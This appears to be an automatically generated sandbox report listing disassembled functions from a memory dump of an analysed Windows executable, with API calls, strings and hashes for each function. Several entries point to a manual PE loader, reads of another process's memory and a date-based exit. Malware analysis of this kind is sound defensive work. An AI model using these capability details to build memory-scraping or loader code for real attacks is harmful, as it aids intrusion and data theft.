Function 00407130 Relevance: 10.6, APIs: 7, Instructions: 141memorylibraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 0040717E
GetProcessHeap.KERNEL32(00000008,00000010), ref: 004071B9
HeapAlloc.KERNEL32(00000000), ref: 004071C0
memcpy.MSVCRT(00000000,?), ref: 004071ED
GetProcessHeap.KERNEL32(00000000,?), ref: 00407203
HeapFree.KERNEL32(00000000), ref: 0040720A
GetProcAddress.KERNEL32(00000000,?), ref: 00407269

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Heap$Process$AddressAllocFreeLibraryLoadProcmemcpy
String ID:
API String ID: 1745114167-0
Opcode ID: b8b6d1e05054ea07a43d014ff49ccb22529942b78b606a01fe6625217ee999e1
Instruction ID: 12ab2d4fc661ad8143b60d879bbfd3a328605d63d86a8d422f2a9a3c01bded70
Opcode Fuzzy Hash: b8b6d1e05054ea07a43d014ff49ccb22529942b78b606a01fe6625217ee999e1
Instruction Fuzzy Hash: FE416D71B046059BD720CFA9DC84BAAB3E9FB84305F1445BEE849D7380E739E8508B65

Function 00425AF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 134COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00425B34

Part of subcall function 0042A1A3: std::exception::exception.LIBCMT ref: 0042A1B8
Part of subcall function 0042A1A3: __CxxThrowException@8.LIBCMT ref: 0042A1CD
Part of subcall function 0042A1A3: std::exception::exception.LIBCMT ref: 0042A1DE

memmove.MSVCRT(00000000,00000000,?,00000000,00000000,00000000), ref: 00425B9C
memmove.MSVCRT(00000000,?,?), ref: 00425BA9
memmove.MSVCRT(00000000,?,?), ref: 00425BB8

Strings

vector<T> too long, xrefs: 00425B2F

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: memmove$std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: vector<T> too long
API String ID: 3271572241-3788999226
Opcode ID: a031696ae416ec95c374a0277710c5fdd0a36f9041dcd1f2abd3340e286abf22
Instruction ID: 1231f6a0933e67e2d367214cec6925a4367356b5a9fccde78b2561303ddf80a5
Opcode Fuzzy Hash: a031696ae416ec95c374a0277710c5fdd0a36f9041dcd1f2abd3340e286abf22
Instruction Fuzzy Hash: 50419271B005159FCF18DF6CD991AAEBBB5EB88710F14826AE919E7384E634ED00CBD4

Function 00417F60 Relevance: 10.6, APIs: 7, Instructions: 118stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00417F84
lstrlenA.KERNEL32(00000000), ref: 00417FB1
lstrcpy.KERNEL32(00000000,00000000), ref: 00417FE0
strtok_s.MSVCRT ref: 00417FF1
StrCmpCA.SHLWAPI(00000000,00435214), ref: 00418025
StrCmpCA.SHLWAPI(00000000,00435214), ref: 00418053
StrCmpCA.SHLWAPI(00000000,00435214), ref: 00418087

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: e9f984b03c1bde324e25fb3864f81360e13896799c84870ad15f10e898a927a1
Instruction ID: 2f212259ca663458e1730242ef8002e1ca813d3d74d50d1fabe99c556a2c6745
Opcode Fuzzy Hash: e9f984b03c1bde324e25fb3864f81360e13896799c84870ad15f10e898a927a1
Instruction Fuzzy Hash: A641703460450ADFCB11DF58D884EEB77B4FF44304F12409AE8059B351DB75AA96CFA5

Function 00417DC0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00417DD8

Part of subcall function 0042A1F0: std::exception::exception.LIBCMT ref: 0042A205
Part of subcall function 0042A1F0: __CxxThrowException@8.LIBCMT ref: 0042A21A
Part of subcall function 0042A1F0: std::exception::exception.LIBCMT ref: 0042A22B

std::_Xinvalid_argument.LIBCPMT ref: 00417DF6
std::_Xinvalid_argument.LIBCPMT ref: 00417E11
memcpy.MSVCRT(?,?,?,00000000,?,?,00417CFA,00000000,?,?,00000000,?,004091B6,?), ref: 00417E74

Strings

invalid string position, xrefs: 00417DD3
string too long, xrefs: 00417DF1, 00417E0C

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$std::exception::exception$Exception@8Throwmemcpy
String ID: invalid string position$string too long
API String ID: 285807467-4289949731
Opcode ID: a520f5129c067f9d273ed01364322d3550794b961e08641397baf48e73bcf294
Instruction ID: c6ba1e4353517cf912157ba70c022d3deacd091813acb9fe45dfb5e391915ef7
Opcode Fuzzy Hash: a520f5129c067f9d273ed01364322d3550794b961e08641397baf48e73bcf294
Instruction Fuzzy Hash: E921C3323047008BD7249E2CE980B6AB7F5AF95750F604A6FF4928B341D775DC8187A9

Function 00408880 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 89COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 004088B3

Part of subcall function 0042A1A3: std::exception::exception.LIBCMT ref: 0042A1B8
Part of subcall function 0042A1A3: __CxxThrowException@8.LIBCMT ref: 0042A1CD
Part of subcall function 0042A1A3: std::exception::exception.LIBCMT ref: 0042A1DE

Strings

yxxx, xrefs: 0040890A
yxxx, xrefs: 004088BD
x@, xrefs: 004088EC, 004088EF
x@, xrefs: 00408954
vector<T> too long, xrefs: 004088AE

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: vector<T> too long$yxxx$yxxx$x@$x@
API String ID: 1823113695-4254290729
Opcode ID: 16167362c0a684f27aaa4a8d18d91edcc2caec0b5e1404c3c68882050dcff5a7
Instruction ID: a68a644e4e456a78fae7bc95dc7651bdc73e73fef95f13af7dcb6690854ff2a5
Opcode Fuzzy Hash: 16167362c0a684f27aaa4a8d18d91edcc2caec0b5e1404c3c68882050dcff5a7
Instruction Fuzzy Hash: CF31B7B5E005159BCB08DF58C9906AEBBB6EB88310F14827EE915EF385DB34A901CBD5

Function 00427C1C Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00427C2A

Part of subcall function 0042784C: __mtinitlocknum.LIBCMT ref: 00427862
Part of subcall function 0042784C: __amsg_exit.LIBCMT ref: 0042786E
Part of subcall function 0042784C: EnterCriticalSection.KERNEL32(?,?,?,00427502,0000000E,00435AC0,0000000C,004274CC), ref: 00427876

DecodePointer.KERNEL32(00435B00,00000020,00427D6D,?,00000001,00000000,?,00427D8F,000000FF,?,00427873,00000011,?,?,00427502,0000000E), ref: 00427C66
DecodePointer.KERNEL32(?,00427D8F,000000FF,?,00427873,00000011,?,?,00427502,0000000E,00435AC0,0000000C,004274CC), ref: 00427C77

Part of subcall function 004286C5: EncodePointer.KERNEL32(00000000,00428922,00437DB8,00000314,00000000,?,?,?,?,?,00427F97,00437DB8,Microsoft Visual C++ Runtime Library,00012010), ref: 004286C7

DecodePointer.KERNEL32(-00000004,?,00427D8F,000000FF,?,00427873,00000011,?,?,00427502,0000000E,00435AC0,0000000C,004274CC), ref: 00427C9D
DecodePointer.KERNEL32(?,00427D8F,000000FF,?,00427873,00000011,?,?,00427502,0000000E,00435AC0,0000000C,004274CC), ref: 00427CB0
DecodePointer.KERNEL32(?,00427D8F,000000FF,?,00427873,00000011,?,?,00427502,0000000E,00435AC0,0000000C,004274CC), ref: 00427CBA

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: ad3ace98a2ec27a08f652496fcbb312f8c32226f07c3cda4de9225786d75cc05
Instruction ID: 559214607086d05c540ffad893338de42dc9c9450c5572670637f8e2a76fb1e1
Opcode Fuzzy Hash: ad3ace98a2ec27a08f652496fcbb312f8c32226f07c3cda4de9225786d75cc05
Instruction Fuzzy Hash: D7313A70A042298FDF519FBAE8442AEBBF1BF49354F90802BD411A6260CBBC4941CF6D

Function 00408B50 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(004078EE,004088DD,03C3C3C3,00000401,004078EE,?,00000000,?,004078EE,80000001), ref: 00408B70
std::exception::exception.LIBCMT ref: 00408B8B
__CxxThrowException@8.LIBCMT ref: 00408BA0

Strings

x@, xrefs: 00408B7D, 00408B80
Pv@, xrefs: 00408B99

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: ??2@Exception@8Throwstd::exception::exception
String ID: Pv@$x@
API String ID: 3448701045-2507878009
Opcode ID: 55fd2789d2b22828a2ba471450722bc14ba4faa9937cb88c17dc9c9e9bdc104f
Instruction ID: 5e1ecf2eb43f1a5955d27c43f1ec54ccaa19fff4b58c55e9fbe8e779a1f6819a
Opcode Fuzzy Hash: 55fd2789d2b22828a2ba471450722bc14ba4faa9937cb88c17dc9c9e9bdc104f
Instruction Fuzzy Hash: EBF0A7B160420997EB19E7E49D027BF7374AF04304F44857EA911E2241FB7CD615819A

Function 00421B00 Relevance: 7.6, APIs: 5, Instructions: 66timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00421E28), ref: 00421B52

Part of subcall function 00421800: lstrcpy.KERNEL32(00000000,0042D01C), ref: 0042182F
Part of subcall function 00421800: lstrlenA.KERNEL32(00806EC0,00000000,00000000,?,?,00421B61), ref: 00421840
Part of subcall function 00421800: lstrcpy.KERNEL32(00000000,00000000), ref: 00421867
Part of subcall function 00421800: lstrcatA.KERNEL32(00000000,00000000), ref: 00421872
Part of subcall function 00421800: lstrcpy.KERNEL32(00000000,00000000), ref: 004218A1
Part of subcall function 00421800: lstrlenA.KERNEL32(00435574,?,?,00421B61), ref: 004218B3
Part of subcall function 00421800: lstrcpy.KERNEL32(00000000,00000000), ref: 004218D4
Part of subcall function 00421800: lstrcatA.KERNEL32(00000000,00435574,?,?,00421B61), ref: 004218E0
Part of subcall function 00421800: lstrcpy.KERNEL32(00000000,00000000), ref: 0042190F

sscanf.NTDLL ref: 00421B7A
SystemTimeToFileTime.KERNEL32(?,?), ref: 00421B96
SystemTimeToFileTime.KERNEL32(?,?), ref: 00421BA6
ExitProcess.KERNEL32 ref: 00421BC3

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Timelstrcpy$System$Filelstrcatlstrlen$ExitProcesssscanf
String ID:
API String ID: 3040284667-0
Opcode ID: 2302b8eb9ec5aadb42172a991ff8528b8061a6db59c2a913e139104cff74782c
Instruction ID: 74431add482d266e5f481d4c3f26529432deb7ac332c40e3c7ddf6828a7bb522
Opcode Fuzzy Hash: 2302b8eb9ec5aadb42172a991ff8528b8061a6db59c2a913e139104cff74782c
Instruction Fuzzy Hash: BD2102B1508301AF8344EF69D88485BBBF9EFD8304F409A1EF5A9C3220E774E5048FA6

Function 00406E30 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,00000040), ref: 00406E40
memcpy.MSVCRT(?,00005A4D,000000F8), ref: 00406E7C
GetProcessHeap.KERNEL32(00000008,?), ref: 00406EB4
HeapAlloc.KERNEL32(00000000), ref: 00406EBB

Strings

@, xrefs: 00406E30

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Heapmemcpy$AllocProcess
String ID: @
API String ID: 1643994569-2766056989
Opcode ID: 9d0aa672cad1b422e85df3b0c0ffa8adf9295387143c5de3d490c1a63fad8456
Instruction ID: b28c2e2eafd009aece7dfa75dd6d3a6e0d6a1e6899dabcaa8fc792e54f3dbcc7
Opcode Fuzzy Hash: 9d0aa672cad1b422e85df3b0c0ffa8adf9295387143c5de3d490c1a63fad8456
Instruction Fuzzy Hash: 9C1161706007129BEB258B61DC84BB773E4EB40701F454439EA47DB684FFB8D950CB99

Function 00429001 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0042900D

Part of subcall function 0042882F: __getptd_noexit.LIBCMT ref: 00428832
Part of subcall function 0042882F: __amsg_exit.LIBCMT ref: 0042883F

__getptd.LIBCMT ref: 00429024
__amsg_exit.LIBCMT ref: 00429032
__lock.LIBCMT ref: 00429042
__updatetlocinfoEx_nolock.LIBCMT ref: 00429056

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: d8aa07bbedd1013a57021d2c3bb79b6c510a05841a55f20d472e51b8662f3c20
Instruction ID: cd546a0507671d6f110ffdfd4119c4cc4df56804dc9476535ff35c6c82e4f8d7
Opcode Fuzzy Hash: d8aa07bbedd1013a57021d2c3bb79b6c510a05841a55f20d472e51b8662f3c20
Instruction Fuzzy Hash: 36F09032B497389ADB64BB797807B4E73A06F00728FA0514FF444A66D2CF6C5D00DA9D

Function 00425CE0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00425D22

Part of subcall function 0042A1A3: std::exception::exception.LIBCMT ref: 0042A1B8
Part of subcall function 0042A1A3: __CxxThrowException@8.LIBCMT ref: 0042A1CD
Part of subcall function 0042A1A3: std::exception::exception.LIBCMT ref: 0042A1DE

memmove.MSVCRT(00000000,00000000,?,00000000,?,?), ref: 00425D7E
memmove.MSVCRT(00000000,?,?,?,?,00000000,?), ref: 00425DA3

Strings

vector<T> too long, xrefs: 00425D1D

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: memmovestd::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: vector<T> too long
API String ID: 222416950-3788999226
Opcode ID: 85e6d6f41144439d2c55d8c7e2bb04ff5f6767618658d8b568e4a0b7013dfe5e
Instruction ID: bed33dd188f3694db896184a5258ce70b5bd39be516e29dcf620fa9f1d1401e6
Opcode Fuzzy Hash: 85e6d6f41144439d2c55d8c7e2bb04ff5f6767618658d8b568e4a0b7013dfe5e
Instruction Fuzzy Hash: 664190B2B006059FCB14DF6CD985A6FB7F5EB88710F148A2EE516D7380DB34A9008B94

Function 00424110 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00424140
StrCmpCW.SHLWAPI(00000000,image/jpeg,?,?,?), ref: 0042416B

Strings

image/jpeg, xrefs: 00424165

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: malloc
String ID: image/jpeg
API String ID: 2803490479-3785015651
Opcode ID: 091f7f2b0765add28b554436945d20450bb172d8c50ea51505c0599b17f22dc3
Instruction ID: 1d8f017bd5659b5b747d140ba5671e15926638654a57e3fa1ae3911ec340f38d
Opcode Fuzzy Hash: 091f7f2b0765add28b554436945d20450bb172d8c50ea51505c0599b17f22dc3
Instruction Fuzzy Hash: 72219571B00214ABC710DF99EC8499AF7B9FF84761B648196E808CB350D731DE51CBD4

Function 00425930 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00425942

Part of subcall function 0042A1A3: std::exception::exception.LIBCMT ref: 0042A1B8
Part of subcall function 0042A1A3: __CxxThrowException@8.LIBCMT ref: 0042A1CD
Part of subcall function 0042A1A3: std::exception::exception.LIBCMT ref: 0042A1DE

std::_Xinvalid_argument.LIBCPMT ref: 00425955

Strings

Sec-WebSocket-Version: 13, xrefs: 00425947
string too long, xrefs: 0042593D, 00425950

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw
String ID: Sec-WebSocket-Version: 13$string too long
API String ID: 963545896-3304177573
Opcode ID: 1e4f7400126f38f31b1137d956f2a1afe32e9b00ea0824c6412003a95c592576
Instruction ID: 12b1986eac46ded2254ddc228828523ab4a38171451f3b2850568a9e05d3ee23
Opcode Fuzzy Hash: 1e4f7400126f38f31b1137d956f2a1afe32e9b00ea0824c6412003a95c592576
Instruction Fuzzy Hash: 3E115E71304A60CBD7218A2CF90071A77E1AB92760FA40BAEE0D187785C779D881C7A9

Function 00408740 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 43COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00408767

Part of subcall function 0042A1A3: std::exception::exception.LIBCMT ref: 0042A1B8
Part of subcall function 0042A1A3: __CxxThrowException@8.LIBCMT ref: 0042A1CD
Part of subcall function 0042A1A3: std::exception::exception.LIBCMT ref: 0042A1DE

Strings

yxxx, xrefs: 00408749
yxxx, xrefs: 00408771
vector<T> too long, xrefs: 00408762

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: vector<T> too long$yxxx$yxxx
API String ID: 1823113695-1517697755
Opcode ID: 7936cd0caa5f88e2fa3cd530f073730c17355deed9949d843db9add66a37fdcb
Instruction ID: 347f5ee80ffc2a26ac52a48875f7006054eadf3ab576910c7e4c50c4db8c3df0
Opcode Fuzzy Hash: 7936cd0caa5f88e2fa3cd530f073730c17355deed9949d843db9add66a37fdcb
Instruction Fuzzy Hash: B1F09027B100310BC314A43E9E8405FA95657E539037AD77AE996FF38DEC39EC8281D9

Function 004221DC Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32(00000000,00000000,00000000,00064000,00000000), ref: 00422202
ReadProcessMemory.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 004222DE
VirtualQueryEx.KERNEL32(00000000,?,?,0000001C), ref: 00422340
??_V@YAXPAX@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0042241F), ref: 00422352

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
